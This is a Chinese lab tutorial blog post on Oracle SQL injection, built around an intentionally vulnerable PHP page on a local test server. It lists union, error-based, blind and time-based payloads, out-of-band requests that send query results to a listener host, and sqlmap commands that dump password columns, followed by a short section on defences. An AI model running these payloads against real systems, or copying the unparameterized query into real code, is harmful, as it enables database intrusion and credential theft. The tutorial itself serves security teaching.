当您阅读到该篇文章时,作者已经将“网络安全自学篇”设置成了收费专栏,首先说声抱歉。感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很多精力去学习和总结。由于在外读书且需要养娃,所以按最低价9.9元设置成了收费专栏,赚点奶粉钱,感谢您的抬爱。当然,如果您还是一名在读学生或经济拮据,可以私聊我给你每篇文章开白名单,也可以去github下载对应的免费文章,更希望您能进步,一起加油喔!
接下来我会接着之前的内容继续分享,“网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
前文带领大家搭建一个Oracle+phpStudy本地网络渗透靶场,并应用SQL注入、XSS攻击、文件上传漏洞三个场景。这篇文章将跟着Cream老师兼好友学习,结合自己的经验详细介绍Oracle数据库注入漏洞和致命问题,包括各种类型的注入知识。注入漏洞是安全威胁中比较常见的漏洞,Oracle也是用得最广的数据库,希望这篇文章对您有帮助。真心觉得Cream老师讲解非常厉害,也推荐大家去i春秋学习他的视频,且看且珍惜。
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~
环境及靶场下载地址:
- https://github.com/eastmountyxz/CyberSecurityBox
- https://pan.baidu.com/s/1ps9beNx4ggywTPnTGw5WhA 提取码:r0ge
参考学习视频地址:
其他资料下载地址:
- 自学篇工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
- 系统安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
提高篇:(自学系列100篇目录放在文章末尾)
- [网络安全提高班] 一〇一.网络空间安全普及和医疗数据安全防护总结
- [网络安全提高篇] 一〇二.Metasploit技术之基础用法万字详解及MS17-010漏洞复现
- [网络安全提高篇] 一〇三.Metasploit后渗透技术之信息收集、权限提权、移植漏洞模块和后门
- [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)
- [网络安全提高篇] 一〇五.SQL注入之揭秘Oracle数据库注入漏洞和致命问题(联合Cream老师)
一.Oracle基础介绍
1.数据库介绍
数据库的基本概念如下:
- 数据库(Database,DB)
按照数据结构来组织、存储和管理数据的仓库 - 数据库管理系统(Database Management System, DBMS)
是一种操纵和管理数据库的大型软件,用于建立、使用和维护数据库,简称DBMS - 数据库管理员( Database Administrator, DBA)
操作和管理DBMS的人员,简称DBA
数据库通常分为两类:
- 关系型数据库
Oralce、DB2、MSSQL、SyBase、Informix、MySQL、Access、Postgresql等,是指采用了关系模型来组织数据的数据库,其以行和列的形式(二维表)存储数据,以便于用户理解,关系型数据库这一系列的行和列被称为表,一组表组成了数据库、 - 非关系型数据库:
Redis、Mongodb、Nosql、Hbase等,用于指代那些非关系型的,分布式的,且一般不保证遵循ACID原则的数据存储系统,如以键值对(Key-Value)存储,用于解决大数据应用难题和大规模数据集合多重数据种类带来的挑战。
这篇文章主要围绕Oracle数据讲解,也是企业用得最广泛地数据库。Oracle数据库的特点如下:
- 全球化、跨平台的数据库
- 支持多用户、高性能的事务处理
- 强大的安全性控制和完整性控制
- 支持分布式数据库和分布处理
下面介绍SQL的分类,主要分为五大类,核心是对数据的增删改查。读者可以简单学习下数据库的基础知识。作者之前数据库的文章也介绍过。
- DDL(数据定义语言)
- DML(数据操纵语言)
- TCL(事务控制语言)
- DQL(数据查询语言):数据库注入用得比较多
- DCL(数据控制语言):数据库赋权攻击用得比较多
2.Oracle安装配置
环境配置永远是第一步,这里简单介绍下配置过程,网上教程也比较多,前文作者也进行了详细介绍。Windows安装Oracle的核心流程包括:
- 准备Oracle安装包
- 根据需求下一步安装
- 设置监听服务并启动
- 配置TNS和Listener
- 解决php连接数据库的OCI8问题
透明网络底层(Transparence Network Substrate)通过读取TNS配置文件才能列出经过配置的服务器名,安装过程中建议关闭防火墙。详见上一篇文章:
前文已经将环境搭建成功,Navicat连接数据库的信息如下图所示:
创建的数据库主要包括一个demo表。
- DEMO(ID, NAME, AGE, SEX)
然后phpstudy中包括一个sql-test.php文件,其基本路径如下:
- D:\phpstudy\PHPtutorial\WWW
该php文件代码如下:
其基本流程是连接数据库,然后进行select查询并将查询结果反馈到表格table中。我们先简单进行代码安全审计,发现问题如下:
- 参数用户可控
$_GET[‘id’]:参数是由前端传递过来的,用户通过自定义可以控制该参数。 - 后台无过滤或者过滤不严谨
$sql = “select * from demo where id=”.$id;没有进行过滤操作。
通过这两点漏洞就可以实现SQL注入。
<?php
header("Content-Type:text/html;charset=utf-8");
$id = @$_GET['id'];
//连接数据库的参数配置
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 1521))
(CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) (INSTANCE_NAME = orcl)))";
//连接数据库,前两个参数分别是账号和密码
$conn = oci_connect('eastmount', '123456', $dbstr);
if (!$conn)
{
$Error = oci_error(); //错误信息
print htmlentities($Error['message']);
exit;
}
else
{
echo "<h3>Oracle 注入实验</h3>"."<br>";
//ocilogoff($conn);
echo $id."<br>";
$sql = "select * from DEMO where ID=".$id; //sql语句
echo "SQL语句:".$sql."<br>";
$ora_test = oci_parse($conn, $sql); //编译sql语句
oci_execute($ora_test, OCI_DEFAULT); //执行
echo "<h3>查询结果</h3>";
echo "<table border='1' width='400' bgcolor='#CCCCFF'>" ;
while($r=oci_fetch_row($ora_test)) //取回结果
{
echo "<tr>";
echo "<th>ID号</th>";
echo "<th>名称</th>";
echo "<th>年龄</th>";
echo "<th>性别</th>";
echo "</tr>";
echo "<tr>";
foreach ($r as $item) {
echo "<td>".($item?htmlentities($item):" ")."</td>";
}
echo "</tr>";
}
echo "</table>";
}
oci_close($conn); //关闭连接
?>
3.常见注入类型
在Oracle中常见的数据类型包括:
- 联合注入
- 报错注入
- 布尔盲注
- 延时盲注
- 带外注入
二.Oracle数据库元数据获取
在进行SQL注入之前,我们需要了解和掌握Oracle数据库中不同表、不同字段的特性及用法,获取元数据就是基础知识,即获取行和列交叉的数据项。(注:不同数据库的元数据是需要大家去牢记或归纳的)
- select * from v$version where rownum=1;
- select * from product_component_version;
获取数据库版本,注意Oracle中没有version()函数
Navicat for Oracle中执行效果如下图所示:
- select username from all_users;
查看所有用户
- select username from all_users order by username;
查看所有用户名并排序
- select tablespace_name from user_tablespaces;
查看所有的表空间
-
select table_name from user_tables;
查看当前用户下的所有表 -
select table_name from user_tables where rownum=1;
查看当前用户的第一个表,注意Oracle中没有limit关键词(MySQL) -
select column_name from user_tab_columns where table_name=‘demo’;
查看当前用户的所有列,如查询demo表下的所有列 -
select object_name from user_objects;
查看当前用户的所有对象(表名称、约束、索引) -
select * from session_roles;
当前用户的权限 -
select member from v$logfile where rownum=1;
服务器操作系统 -
select instance_name from v$instance;
服务器sid -
select sys_context(‘userenv’, ‘current_user’) from dual;
当前连接用户 -
select user from dual;
当前用户。注意:dual是虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
- select distinct owner from all_tables;
列出所有的数据库
-
select table_name from all_tables;
-
select owner, table_name from all_tables;
列出所有的表名 -
select name from v$datafile;
定位文件
最后补充部分知识点:
(1) 核心字段包括:
- information_schema(库)
- columns(表)
- table_schema
- table_name
- column_nam;
(2) dual(虚拟表)常见操作:
- 当前用户
select user from dual; - 调用系统函数
select SYS_CONTEXT(‘USERENV’,‘TERMINAL’) from dual; --获得主机名 - 获取序列的当前值以及下一个值
select seq.nextval from dual; --下一个序列seq的值
select seq.currval from dual;–获取当前seq的值 - 计算器
SELECT 1000*100 from dual;
三.联合注入实践
联合注入顾名思义,就是使用联合查询进行注入的一种方式,是一种高效的注入的方式。常见流程包括:
- 判断注入点
- 判断是整型还是字符型
- 判断查询列数
- 判断显示位
- 获取所有数据库名
- 获取数据库所有表名
- 获取字段名
- 获取字段中的数据
第一步,判断注入点。
判断注入点的方法很多,比如show.php?code=1’ 加单引号,show.asp?code=2-1 减1。
安全性高的网站通常会过滤特殊标点符号,并且防止出现减法这种正常访问现象。
下面是一个经典的方法:
- http://xxxxx/show.asp?code=1’ and 1=1 - - (正常显示)
对应的SQL语句:
select … from table where code=‘1’ and 1=1 - - and xxxx;
单引号(’)匹配code='1,然后and连接,1=1恒成立,注释(- -)掉后面语句。
- http://xxxxx/show.php?code=1’ and 1=2 - - (错误显示)
对应的SQL语句:
select … from table where code=‘1’ and 1=2 - - and xxxx;
单引号(’)匹配code='1,然后and连接,1=2恒错误,注释(- -)掉后面语句。
第二步,判断数据库列数。
根据某列数据做排序,四列数据判断。
id=1 order by 4--
输出结果如下图所示:
如果填写5它会报错,从1开始遍历能判断该表包括4个字段
第三步,联合注入。
通过union将数据在前端显示,这里的数据(null)个数需和前面查询的内容一致(4个)。SQL注入中,通常会使用null占位。
-1 union select null,null,null,null from dual--
输出结果如下图所示:
第四步,判断每个字段数据类型。
这里选择数字1和字符2。
-1 union select 1,'2',null,null from dual--
输出结果如下图所示:
注意,这里数据库中名称设置为Varchar字符串类型,如果填写数字2会报错。我们需要找到字符串类型来显示后续联合注入输出的结果。
第五步,数据库信息收集。
通过sys_context函数查询当前用户的连接信息,并显示在第二列的数据中。
-1 union select 1, (select sys_context('userenv','current_user') from dual),null,null from dual
当前数据库的用户信息如下图所示:
- EASTMOUNT
第六步,爆数据库名。
数据库名可能很多,这里通过rownum=1限制显示一条内容。
-1 union select 1, (select owner from all_tables where rownum=1),null,null from dual--
第七步,获取当前用户下的表。
从指定数据库中获取表信息。
-1 union select 1, (select table_name from user_tables where rownum=1 ),null,null from dual--
输出结果如下图所示,真实环境中我们通常需要找到用户表或管理员表,从而获取用户名及密码进行后续渗透。
- DEMO
第八步,获取当前数据库下的字段名。
获取数据库表下面的字段内容,表的名称为“DEMO”。
-1 union select 1, (select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null,null from dual--
获取DEMO表格的第一个一段,如下图所示为ID。
- ID
如果我们想获取其他字段怎么办呢?通过将查询出的结果放到not in中即可,或者使用不等于(<>)。
- select column_name from user_tab_columns
- where table_name=‘DEMO’ and rownum=1 and column_name not in (‘ID’)
第九步,爆数据。
爆数据通常是用户名和密码,这里可以使用CONCAT拼接函数。如果密码被MD5加密,我们进行相关解密即可。
-1 union select null, (select CONCAT(NAME, AGE) FROM DEMO where rownum=1 ),null,null from dual--
最终输出结果如下图所示:
- eastmount 28
我们同样可以获取其他表信息。
-1 union select null, (SELECT CONCAT("name","password") FROM STU where rownum=1 ),null,null from dual--
写到这里,联合注入就介绍完毕,希望对您有帮助!
四.报错注入实践
SQL报错注入旨在利用数据库的某些机制,通过构造错误条件,使得我们想要的信息出现在报错信息中。不同类型数据库的报错注入如下:
- MYSQL
主要利用报错函数,如extractvalue、updatexml、floor等
http://192.168.2.101/sqli-labs-master/Less-5/?id=2’ and extractvalue(1,concat(0x7e,(database()),0x7e))%23+ - MSSQL
使用比较运算符,如[执行语句]>1、[报错语句]=1等
http://192.168.23.132/less-1.asp?id=1’ and (select @@version)=1– - ORACLE
同上,但是需要借助于某些函数,如utl_inaddr.get_host_name、ctxsys.drithsx.sn、XMLType等
http://192.168.1.6:81/orcl.php?id=1 and 1=utl_inaddr.get_host_name((select user from dual)) –
Oracle报错函数及对应含义如下表所示:
- dbms_xdb_version.checkin()
- dbms_xdb_version.uncheckin()
- dbms_xdb_version.makeversioned()
- dbms_utility.sqlid_to_sqlhash()
- UTL_INADDR.get_host_name()
- UTL_INADDR.get_host_address()
报错注入的核心流程如下:
第一步,判断注入点。
1 and (select count (*) from user_tables)>0 --
1 and (select count (*) from dual)>0 --
第二步,显错函数获取信息。
利用utl_inaddr.get_host_name( )获取ip地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。
- utl_inaddr.get_host_name( )
1 and 1=utl_inaddr.get_host_name((select user from dual))--
但作者的配置没有显示任何ORA报错信息,泪奔 o(╥﹏╥)o,后面文章我找CTF题目给大家模拟下,这里主要介绍Cream老师兼好友的分享。
这里我们利用ctxsys.drithsx.sn()函数查询关于主题(获取当前用户信息)的对应关键词时,报错信息会显示出第二个参数的结果。
- ctxsys.drithsx.sn()
-1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
也可以使用XMLType()函数实现,比如:
1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
其他函数包括:
dbms_xdb_version.checkin()
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
bms_xdb_version.makeversioned()
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
dbms_xdb_version.uncheckout()
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
dbms_utility.sqlid_to_sqlhash()
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
ordsys.ord_dicom.getmappingxpath()
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user) --
decode()
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
注意:不会显示报错信息,需要通过页面来判断。当substr(user,1,1)=‘S’页面报错,其他情况页面无报错也不会显示数据。类似盲注。
- decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)
SELECT ID,NAME,AGE,decode(SEX,1,'男',0,'女') from DEMO;
1 and 1=(select decode(substr(user,1,1),'A',(1/0),0) from dual) --
1 and 1=(select decode(substr(user,1,1),'B',(1/0),0) from dual) --
上述测试结果为页面正常,不显示任何数据。
1 and 1=(select decode(substr(user,1,1),'T',(1/0),0) from dual) --
显示结果如下,说明当前用户的首字母是T,代码 decode(substr(user,1,1), ‘T’, (1/0), 0) 中substr(user,1,1)=‘T’ 时,就返回(1/0)的值,但是0不能为分母,所以报错!
第三步,爆出当前数据库名。
使用SQL语句如下,其中distinct是去重,几个核心的表需要大家记住。
- user_tab_columns:保存当前用户的表、视图等
- all_tab_columns:帮助查询用户下的所有的表和列
- all_tables:显示与当前用户可访问的表
- user_tables:显示当前用户拥有的表
select (select distinct owner from all_tables where rownum=1) from dual;
对应的SQL注入链接如下,爆出当前用户下的表信息如下,SYS是第一个,后续的表可以陆续爆出来。
1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
第四步,爆出当前用户下的表。
SQL语句如下:
select table_name from user_tables where rownum=1;
输出结果如下图所示,可以看到DEMO表。
对应的SQL注入链接如下。
1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
该用户下的第一个表是DEMO,爆出其他表的方法和前面类似,使用not in或不等于关键词。
1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name <>'DEMO')) --
第五步,爆破指定表下的列名。
假设现在作者想爆FLAG表下的列。SQL语句如下:
select column_name from user_tab_columns where table_name='DEMO' and rownum=1;
对应的SQL注入链接如下:
1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1)) --
第二个字段是name,第三个字段是pwd,最后的字段是flag。
1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name <>'id')) --
1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name not in ('id','name') )) --
1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name not in ('id','name','pwd') )) --
1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='FLAG' and rownum=1 and column_name not in ('id','name','pwd','flag') )) --
第五步,爆字段内容。
SQL语句如下:
select (SELECT CONCAT("name","pwd") FROM FLAG where rownum=1;
SQL注入链接如下:
1 and 1=utl_inaddr.get_host_name((select (SELECT CONCAT("name","pwd") FROM FLAG where rownum=1) from dual)) --
下图中是用户的账号和密码,可以使用其他的报错函数来测试。
五.布尔盲注实践
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。个人理解,之前的注入会将数据库的信息反馈至前端,而盲注前端不能显示,只能进行猜解。
盲注本质上就是页面无法提供回显的时候进行注入操作。布尔型盲注表示输入and 1或者and 0,浏览器返回给我们两个不同的页面,而我们就可以根据返回的页面来判断正确的数据信息。常用函数如下:
- length()
返回字符串str的长度,以字节为单位 - substr()
从特定位置开始的字符串返回一个给定长度的子字符串 - ascii()
输出某个字符的ascii码值,ascii码共127个,此处注意ascii函数处理单个字符,如果是字符串则会处理第一个字符,例如select ascii(‘h’)返回104
在Oracle布尔盲注实验中,可以是普通猜解的方法,也可以使用某些函数来辅助猜解,如前面提到的decode函数,以及instr函数等。布尔盲注测试方法如下:
- 普通猜解
- Decode方法
- Instr方法
1.普通猜解
具体步骤如下:
第一步,获取当前用户下的数据表长度以及每个字符。
SQL语句如下:
当我们使用LENGTH()计算长度时,如果异常显示则表示失败,如下图没有显示表格。
1 and 3=(SELECT LENGTH(table_name) from user_tables where rownum=1)--
如果正常显示,则表示成功,该表格的长度为4。
1 and 4=(SELECT LENGTH(table_name) from user_tables where rownum=1)--
第二步,爆破数据表每个字符。
猜测数据库表的每个字符,使用字符截取函数substr和ascii函数。
select ascii(substr(table_name,1,1)) from user_tables WHERE rownum=1;
只有页面正常显示才能推出每个字符的ASCII,,比如ASCII码查询67,对应字母C则无显示。
ASCII码表如下:
当前数据表的首字母的ASCII是68,也即D,依次爆出的字母是E、M、O。所以数据表名为:
- DEMO
第三步,爆破指定表下的字段名长度。
我们先猜解表第一个字段的长度,SQL语句如下:
select LENGTH(column_name) from user_tab_columns where table_name='DEMO' and rownum=1;
对应的SQL注入链接如下,当DEMO表的第一个字段长度为2时正确显示。
1 and 2=((select LENGTH(column_name) from user_tab_columns where table_name='DEMO' and rownum=1)) --
第四步,猜解每个字段名的字符。
SQL语句如下:
select ascii(substr(column_name,1,1)) from user_tab_columns
where table_name='DEMO' and rownum=1;
下面正常显示猜解出来是字母“I”,最终确定这两个字母是ID。
1 and 73=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1)) --
1 and 68=((select ascii(substr(column_name,2,1)) from user_tab_columns where table_name='DEMO' and rownum=1)) --
当然,这个过程也可以使用BusrpSuite去爆破。
同理可以获取第二个字段的长度是4,对应的ASCII是78、65、77、69,也即NAME。第三个字段为AGE,第四个字段为SEX。
1 and 78=((select ascii(substr(column_name,1,1)) from user_tab_columns where table_name='DEMO' and rownum=1 and column_name <> 'ID' ))--
第五步,爆字段内容。
如果我们获取了管理用户表NAME和PWD,接下来获取字段内容。
1 and 102=((select ASCII(substr(CONCAT(NAME, AGE),1,1))FROM DEMO where rownum=1 ))--
下面显示异常,说明当前NAME和AGE内容长度不是102。
最终数字为11显示正常。
接着获取第一个用户名eastmount的字符为“e”。
1 and 101=((select ASCII(substr(CONCAT(NAME, AGE),1,1)) FROM DEMO where rownum=1 ))--
依次获得eastmount。
2.DECODE函数盲注
Decode的使用方法如下,当条件等于值1时就得到返回值1。
- decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)
第一步,获取信息。
SQL语句如下:
select decode(length(user),9,1,0) from dual;
页面显示正常,说明用户长度是9。
1 and 1=(select decode(length(user),9,1,0) from dual)--
接下来可以使用BP爆破获取用户名。
第二步,获取当前用户下的第一个表。
1 and 1=(select decode(length(table_name),4,1,0) from user_tables where rownum=1)--
页面实现正常,说明表名长度是4,对应应该是DEMO。
第三步,猜解表名称。
1 and 1=(select decode(ascii(substr(table_name,1,1)),68,1,0) from user_tables where rownum=1)--
使用BP爆破,结果是DEMO。
接下来爆破DEMO表下字段以及字段对应内容,步骤和前面的很相似。
3.INSTR函数盲注
函数instr的使用方法:
- instr(string1,string2)
在string1中找到string2所在的位置,找到返回其索引。
对应SQL语句如下:
SELECT INSTR('substr', 'str') from dual;
下面简单列举下Cream老师相关的SQL语句,大家可以进行尝试。
- select instr((select user from dual),‘TEST’) from dual;
猜解用户名是TEST,则返回1 - select instr((select length(user) from dual),4) from dual;
猜解用户名的长度,如果是4则返回1 - select instr((select length(table_name) from user_tables where rownum=1),4) from dual;
判断当前用户的第一个表的名称长度是否是4 - select instr(substr((select table_name from user_tables where rownum=1),1,1),‘D’) from dual;
判断表名称的每个字符,第一个字符是不是D,可以结合BP爆破
同理可以获取表中的字段长度和内容。
六.延时盲注实践
在Oracle延时注入利用过程中需要使用DECODE、DBMS_PIPE.RECEIVE_MESSAGE等函数来延时数据库的处理时间,最后测试者可以通过网页的加载时间来判断注入结果。
延时注入可用的函数/方法:
- DECODE
此处不再介绍 - DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5)
表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数 - select count(*) from all_objects
大量统计操作辅助延时注入,延长时间不易控制
注意:执行“SELECT DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5) from dual”返回值是1。
第一步,测试延迟代码。
SQL语句如下,可以看到网络加载时间是5S,注意该函数5s后的返回值是1。
SELECT dbms_pipe.receive_message('RDS', 5) from dual;
SQL注入链接如下:
1 and 1= dbms_pipe.receive_message('RDS', 5)--
第二步,调用DECODE函数进行延时判断。
SQL语句如下,该语句表示:
- select DECODE(condition,value,dbms_pipe.receive_message(‘RDS’, 5),0) from dual
- 当condition=value就返回dbms_pipe.receive_message(‘RDS’, 5),那么页面就等待5秒时间,从而达到延时注入的目的。
错误
select decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0) from dual;
正确(EASTMOUNT)
select decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0) from dual;
对应SQL注入代码如下:
1 and 1=(select decode(substr(user,1,1),'E',dbms_pipe.receive_message('RDS',5),0) from dual)--
可知用户名第一个字符是E,使用BP爆破,当前用户名为EASTMOUNT。
第三步,通过延迟注入获取表名DEMO。
如果错误显示会反馈异常结果。
http://127.0.0.1/sql-test02.php
?id=1 and 1=(select decode(substr(table_name,1,1),'D',dbms_pipe.receive_message('RDS',5),0)
from user_tables where rownum=1)--
如果正常注入则延迟显示正常结果,比如DEMO的首字母D。
后续步骤参考前面的步骤即可。
七.带外注入实践
Oracle的带外注入和DNSLOG很相似,需要使用网络请求的函数进行注入利用,其中可以进行网络请求的函数有:
- UTL_HTTP.REQUEST
- UTL_INADDR.GET_HOST_ADDRESS
- SYS.DBMS_LDAP.INIT
第一步,首先检测函数是否能用。
1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --
网页加载正常,则说明该函数可以使用。其中还函数返回值是请求的返回值
使用方法,其中||放在URL需要URL编码。切记!!!
and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --,
发送请求(获取当前用户名):
1 and utl_http.request('http://192.168.1.2:6666/'%7c%7c(SELECT user FROM dual))=1--
第二步,信息收集。
http://192.168.1.6:81/orcl.php?id=1 and
utl_http.request('http://192.168.1.2:6666/'%7c%7c(SELECT user FROM dual))=1--
收到数据如下:
获取Banner信息。
http://192.168.1.6:81/orcl.php?id=1 and
utl_http.request('http://192.168.1.2:6666/'%7c%7c(select banner from sys.v_$version where rownum=1))=1--
获取字段内容。
http://192.168.1.6:81/orcl.php?id=1 and
utl_http.request('http://192.168.1.2:6666/'%7c%7c(SELECT CONCAT("name","password") FROM STU where rownum=1))=1--
八.Oracle手工注入以及自动化工具SQLMAP使用
下一篇文章讲详细介绍SQLMAP的用法。
1.基本使用方法
- 检测注入点
python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle - 查看所有数据库名
python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle --dbs - 查看当前用户的权限
python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle --privileges - 是否是管理员
- -is-dba - 所有用户
- -users - 当前用户
- -current-user - 当前数据库
- -current-db - 破解当前用户密码
- -passwords - 获取系统信息
- -hostname - 获取数据库信息
- -banner - 获取数据库用户角色
- -roles
2.获取当前数据库下表
- python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle -D TEST --tables
3.获取当前数据库下指定表下的字段名
- python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle -D TEST -T STU --columns
4.获取字段内容
- python2 sqlmap.py -u http://192.168.1.6:81/orcl.php?id=1 --dbms=oracle -D TEST -T STU -C NAME,PASSWORD --dump
九.Oracle注入防御
Oracle编程路线通常涉及这些相关知识,如下图所示:
- 安全开发
- 代码审计
- 安全运维
- 自动化工具
- 红蓝对抗
Oracle其他的安全性问题如下,后续结合ATT&CK框架介绍。
- Oracle权限控制不当,读写文件
- Oracle提权
- Oracle执行系统命令
- 反序列化漏洞
- 身份管理器漏洞
- Oracle Database Server远程安全漏洞(CVE-2019-2518)
那么,Oracle注入如何防御呢?下面Creaml傲视简单介绍几种方法。
- 1.代码层防御技术
使用参数化查询语句、验证输入、规范化等技术,如JAVA中使用JDBC框架,C#使用ADO.NAT框架,PHP使用PDO架构等。Oracle PL/SQL 在数据库代码层也可以使用参数化方式去查询,它使用带有编号的冒号字符去绑定参数来达到防注入的目的。 - 2.输入验证
任何输入的数据均是不可信的,可以对不可信数据进行验证,如使用黑白名单过滤等。在JAVA中可以使用定义一个输入验证类,实现javax.faces.validator.Validator接口,对用户输入进行验证。C#可以使用某些具有验证功能的控件对用户输入进行验证。PHP中可以使用正则表达式验证用户输入,或者使用特定功能函数判断输入是否合法。 - 3.输出编码
- 4.规范化
十.总结
写到这里,这篇文章就介绍完毕,希望您喜欢,本文主要介绍Oracle注入漏洞知识,文章非常长,作者也花费了很长时间,希望对您有帮助,后续我们将结合实战和CTF介绍几个SQL注入的案例。再次感谢Cream好友兼老师。
- 一.Oracle基础介绍
1.数据库介绍
2.Oracle安装配置
3.常见注入类型 - 二.Oracle数据库元数据获取
- 三.联合注入实践
- 四.报错注入实践
- 五.布尔盲注实践
1.普通猜解
2.DECODE函数盲注
3.INSTR函数盲注 - 六.延时盲注实践
- 七.带外注入实践
- 八.Oracle手工注入以及自动化工具SQLMAP使用
- 九.Oracle注入防御
这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
- 网络靶场:- https://github.com/eastmountyxz/CyberSecurityBox
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。
(By:Eastmount 2021-03-24 夜于武汉 http://blog.csdn.net/eastmount/ )
参考文章如下,感谢胡老师和这些大佬。
- https://www.ichunqiu.com/open/66999
- Oracle注入 贝塔安全实验室 - Cream老师(强推)
- windows server 2008r2 oracle11g安装 - CSDN
- oracle 19c --windows上安装部署 - CSDN
- https://www.o2oxy.cn/2306.html
- 张炳帅. Web安全深度剖析[J]. 中国信息化, 2019, 000(001):封3.
- 克拉克(JustinClarke).SQL注入攻击与防御[M].北京:清华大学出版社,2013.
- 张恒智. Oracle数据库的注入攻击和防御研究[D].上海交通大学,2012.
自学篇(建议直接跳转到正文):
- [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
- [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
- [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
- [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
- [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
- [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
- [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
- [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
- [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
- [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
- [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
- [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
- [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
- [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
- [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
- [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
- [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
- [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
